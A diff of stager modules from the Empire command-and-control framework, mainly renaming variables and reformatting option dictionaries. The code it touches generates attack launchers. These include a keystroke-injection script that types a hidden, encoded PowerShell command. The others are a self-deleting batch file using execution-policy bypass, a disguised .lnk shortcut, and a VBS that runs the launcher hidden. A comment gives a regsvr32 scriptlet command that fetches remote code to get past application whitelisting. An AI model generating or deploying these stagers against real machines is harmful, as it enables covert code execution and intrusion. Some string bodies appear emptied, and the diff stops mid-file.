self.options['UserAgent']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - - obfuscateScript = False + obfuscate_command = self.options['ObfuscateCommand']['Value'] + + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # generate the launcher code - moduleName = self.mainMenu.listeners.activeListeners[listenerName]['moduleName'] - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) - + module_name = self.mainMenu.listeners.activeListeners[listener_name]['moduleName'] + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) + if launcher == "" or interpreter == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: - if moduleName.lower() == 'meterpreter': + if module_name.lower() == 'meterpreter': import base64 enc = base64.b64encode(launcher) else: enc = launcher.split(" ")[-1] - duckyCode = "DELAY 3000\n" - duckyCode += "GUI r\n" - duckyCode += "DELAY 1000\n" - duckyCode += "STRING "+ interpreter + "\n" - duckyCode += "ENTER\n" - duckyCode += "DELAY 2000\n" - - if obfuscateScript and "launcher" in obfuscateCommand.lower(): - duckyCode += "STRING "+launcher+" \n" + ducky_code = "DELAY 3000\n" + ducky_code += "GUI r\n" + ducky_code += "DELAY 1000\n" + ducky_code += "STRING " + interpreter + "\n" + ducky_code += "ENTER\n" + ducky_code += "DELAY 2000\n" + + if obfuscate_script and "launcher" in obfuscate_command.lower(): + ducky_code += "STRING " + launcher + " \n" else: - duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n" - - duckyCode += "ENTER\n" + ducky_code += "STRING powershell -W Hidden -nop -noni -enc " + enc + " \n" + + ducky_code += "ENTER\n" - return duckyCode + return ducky_code diff --git a/empire/server/stagers/windows/hta.py b/empire/server/stagers/windows/hta.py index c4c1edac0..35f322654 100644 --- a/empire/server/stagers/windows/hta.py +++ b/empire/server/stagers/windows/hta.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@subTee'], - 'Description': ('Generates an HTA (HyperText Application) For Internet Explorer'), + 'Description': 'Generates an HTA (HyperText Application) For Internet Explorer', 'Comments': [ 'You will need to deliver a url to the target to launch the HTA. Often bypasses Whitelists since it is executed by mshta.exe' @@ -22,59 +23,61 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell', - 'SuggestedValues': ['powershell'], - 'Strict' : False + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'File to output HTA to, otherwise displayed on the screen.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'File to output HTA to, otherwise displayed on the screen.', + 'Required': False, + 'Value': '' }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False' + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -88,30 +91,33 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] encode = False if base64.lower() == "true": encode = True - obfuscateScript = False + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=encode, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -120,5 +126,5 @@ def generate(self): code = "" - + return code diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index 6d33c6dab..f84a8d962 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Generates a self-deleting .bat launcher for Empire.'), + 'Description': 'Generates a self-deleting .bat launcher for Empire.', 'Comments': [ '' @@ -31,7 +31,9 @@ def __init__(self, mainMenu, params=[]): 'Language': { 'Description': 'Language of the stager to generate.', 'Required': True, - 'Value': 'powershell' + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, 'StagerRetries': { 'Description': 'Times for the stager to retry connecting.', @@ -98,26 +100,27 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] delete = self.options['Delete']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] bypasses = self.options['Bypasses']['Value'] - obfuscateScript = False + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # generate the launcher code including escapes for % characters needed for .bat files - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, - obfuscate=obfuscateScript, - obfuscationCommand=obfuscateCommand, userAgent=userAgent, - proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries, bypasses=bypasses).replace("%", "%%") + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries, bypasses=bypasses).replace("%", + "%%") if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -133,6 +136,4 @@ def generate(self): code = '# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText(\'%~f0\')|iex" & POPD /B\n' code += launcher + "\n" - - return code diff --git a/empire/server/stagers/windows/launcher_lnk.py b/empire/server/stagers/windows/launcher_lnk.py index 0082ce2c3..f5db4d80c 100644 --- a/empire/server/stagers/windows/launcher_lnk.py +++ b/empire/server/stagers/windows/launcher_lnk.py @@ -3,6 +3,7 @@ from empire.server.common import helpers from empire.server.common import pylnk + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -12,15 +13,15 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@theguly'], - 'Description': ("Create a .LNK file that launches the Empire stager."), + 'Description': "Create a .LNK file that launches the Empire stager.", - 'Background' : False, + 'Background': False, - 'OutputExtension' : None, + 'OutputExtension': None, - 'OpsecSafe' : False, + 'OpsecSafe': False, - 'MinPSVersion' : '2', + 'MinPSVersion': '2', 'Comments': [ 'http://windowsitpro.com/powershell/working-shortcuts-windows-powershell', @@ -35,57 +36,57 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '', }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : True, - 'Value' : 'clickme.lnk' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': True, + 'Value': 'clickme.lnk' }, - 'PowershellPath' : { - 'Description' : 'Path to powershell.exe', - 'Required' : True, - 'Value' : 'C:\windows\system32\WindowsPowershell\\v1.0\powershell.exe' + 'PowershellPath': { + 'Description': 'Path to powershell.exe', + 'Required': True, + 'Value': 'C:\windows\system32\WindowsPowershell\\v1.0\powershell.exe' }, - 'Icon' : { - 'Description' : 'Path to LNK icon.', - 'Required' : False, - 'Value' : 'C:\program files\windows nt\\accessories\wordpad.exe' + 'Icon': { + 'Description': 'Path to LNK icon.', + 'Required': False, + 'Value': 'C:\program files\windows nt\\accessories\wordpad.exe' }, - 'LNKComment' : { - 'Description' : 'LNK Comment.', - 'Required' : False, - 'Value' : '' + 'LNKComment': { + 'Description': 'LNK Comment.', + 'Required': False, + 'Value': '' }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -103,31 +104,32 @@ def generate(self): # extract all of our options language = 'powershell' - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] - userAgent = self.options['UserAgent']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] - lnkComment = self.options['LNKComment']['Value'] - powershellPath = self.options['PowershellPath']['Value'] - lnkName = self.options['OutFile']['Value'] - lnkIcon = self.options['Icon']['Value'] - + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] + lnk_comment = self.options['LNKComment']['Value'] + powershell_path = self.options['PowershellPath']['Value'] + lnk_name = self.options['OutFile']['Value'] + lnk_icon = self.options['Icon']['Value'] encode = False if base64.lower() == "true": encode = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) - launcher = launcher.replace('powershell.exe ','',1) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=encode, + userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) + launcher = launcher.replace('powershell.exe ', '', 1) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: - link = pylnk.for_file(powershellPath,launcher,lnkName,lnkIcon,lnkComment) + link = pylnk.for_file(powershell_path, launcher, lnk_name, lnk_icon, lnk_comment) code = link.ret() return code diff --git a/empire/server/stagers/windows/launcher_sct.py b/empire/server/stagers/windows/launcher_sct.py index 1119891a0..67de256e1 100644 --- a/empire/server/stagers/windows/launcher_sct.py +++ b/empire/server/stagers/windows/launcher_sct.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@subTee', '@enigma0x3'], - 'Description': ('Generates an sct file (COM Scriptlet) Host this anywhere'), + 'Description': 'Generates an sct file (COM Scriptlet) Host this anywhere', 'Comments': [ 'On the endpoint simply launch regsvr32 /u /n /s /i:http://server/file.sct scrobj.dll ' @@ -23,58 +24,60 @@ def __init__(self, mainMenu, params=[]): # format: # value_name : {description, required, default_value} 'Listener': { - 'Description': 'Listener to generate stager for.', - 'Required': True, - 'Value': '' + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '', }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, 'StagerRetries': { - 'Description': 'Times for the stager to retry connecting.', - 'Required': False, - 'Value': '0' + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, 'OutFile': { - 'Description': 'Filename that should be used for the generated output.', - 'Required': False, - 'Value': 'launcher.sct' + 'Description': 'Filename that should be used for the generated output.', + 'Required': False, + 'Value': 'launcher.sct' }, 'UserAgent': { - 'Description': 'User-agent string to use for the staging request (default, none, or other).', - 'Required': False, - 'Value': 'default' + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'Proxy': { - 'Description': 'Proxy to use for request (default, none, or other).', - 'Required': False, - 'Value': 'default' + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'ProxyCreds': { - 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required': False, - 'Value': 'default' + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -92,26 +95,28 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] encode = False if base64.lower() == "true": encode = True - - obfuscateScript = False + + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( - listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + listenerName=listener_name, language=language, encode=encode, obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -120,14 +125,15 @@ def generate(self): code = "\n" code += "\n" code += "\n" code += " \n" code += " \n" code += "\n" diff --git a/empire/server/stagers/windows/launcher_vbs.py b/empire/server/stagers/windows/launcher_vbs.py index 78b555ca9..f36f8471b 100644 --- a/empire/server/stagers/windows/launcher_vbs.py +++ b/empire/server/stagers/windows/launcher_vbs.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y', '@enigma0x3'], - 'Description': ('Generates a .vbs launcher for Empire.'), + 'Description': 'Generates a .vbs launcher for Empire.', 'Comments': [ 'https://github.com/enigma0x3/Powershell-Infection' @@ -22,87 +23,92 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '', }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : False, - 'Value' : 'launcher.vbs' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': False, + 'Value': 'launcher.vbs' }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu - + for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] - - obfuscateScript = False + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] + + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True - if "launcher" in obfuscateCommand.lower() and "ps" not in obfuscateCommand.lower(): + obfuscate_script = True + if "launcher" in obfuscate_command.lower() and "ps" not in obfuscate_command.lower(): print(helpers.color("[!] Only 'PS' Invoke-Obfuscation Launcher is currently support for launcher_vbs")) return "" # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=True, + obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, + proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -110,7 +116,7 @@ def generate(self): else: code = "Dim objShell\n" code += "Set objShell = WScript.CreateObject(\"WScript.Shell\")\n" - code += "command = \""+launcher.replace("\"", "\"+Chr(34)+\"")+"\"\n" + code += "command = \"" + launcher.replace("\"", "\"+Chr(34)+\"") + "\"\n" code += "objShell.Run command,0\n" code += "Set objShell = Nothing\n" diff --git a/empire/server/stagers/windows/launcher_xml.py b/empire/server/stagers/windows/launcher_xml.py index 5abad5f9b..372d143bd 100644 --- a/empire/server/stagers/windows/launcher_xml.py +++ b/empire/server/stagers/windows/launcher_xml.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@p3nt4'], - 'Description': ('Generates an XML file to be run with MSBuild.exe'), + 'Description': 'Generates an XML file to be run with MSBuild.exe', 'Comments': [ 'On the endpoint simply launch MSBuild.exe payload.xml' @@ -23,51 +24,53 @@ def __init__(self, mainMenu, params=[]): # format: # value_name : {description, required, default_value} 'Listener': { - 'Description': 'Listener to generate stager for.', - 'Required': True, - 'Value': '' + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, 'StagerRetries': { - 'Description': 'Times for the stager to retry connecting.', - 'Required': False, - 'Value': '0' + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, 'OutFile': { - 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required': False, - 'Value': 'launcher.xml' + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': 'launcher.xml' }, 'UserAgent': { - 'Description': 'User-agent string to use for the staging request (default, none, or other).', - 'Required': False, - 'Value': 'default' + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'Proxy': { - 'Description': 'Proxy to use for request (default, none, or other).', - 'Required': False, - 'Value': 'default' + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'ProxyCreds': { - 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required': False, - 'Value': 'default' + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -85,25 +88,27 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] encode = True - - obfuscateScript = False + + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( - listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + listenerName=listener_name, language=language, encode=encode, obfuscate=obfuscate_script, + obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) - launcher_array=launcher.split() + launcher_array = launcher.split() if len(launcher_array) > 1: print(helpers.color("[*] Removing Launcher String")) launcher = launcher_array[-1] @@ -112,53 +117,53 @@ def generate(self): print(helpers.color("[!] Error in launcher command generation.")) return "" else: - code ="" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" - code += "" + code = "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" return code diff --git a/empire/server/stagers/windows/macro.py b/empire/server/stagers/windows/macro.py index 6d5c62f7b..18ab9d30f 100644 --- a/empire/server/stagers/windows/macro.py +++ 